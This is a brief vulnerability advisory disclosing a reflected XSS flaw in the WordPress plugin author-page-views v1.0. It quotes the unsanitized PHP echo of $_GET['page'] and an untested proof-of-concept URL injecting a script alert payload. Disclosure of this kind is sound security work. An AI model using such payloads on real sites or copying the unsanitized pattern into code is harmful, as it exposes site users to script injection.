Advisory #: 554
Title: Reflected XSS in wordpress plugin author-page-views v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/author-page-views
Downloads: 3071
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: author-page-views
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./author-page-views/views/admin-report.php: 15: <input type="hidden" name="page" value="<?php echo $_GET['page']; ?>" /> The variable page appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./author-page-views/views/admin-report.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/author-page-views/views/admin-report.php?page="><script>alert(1);</script><"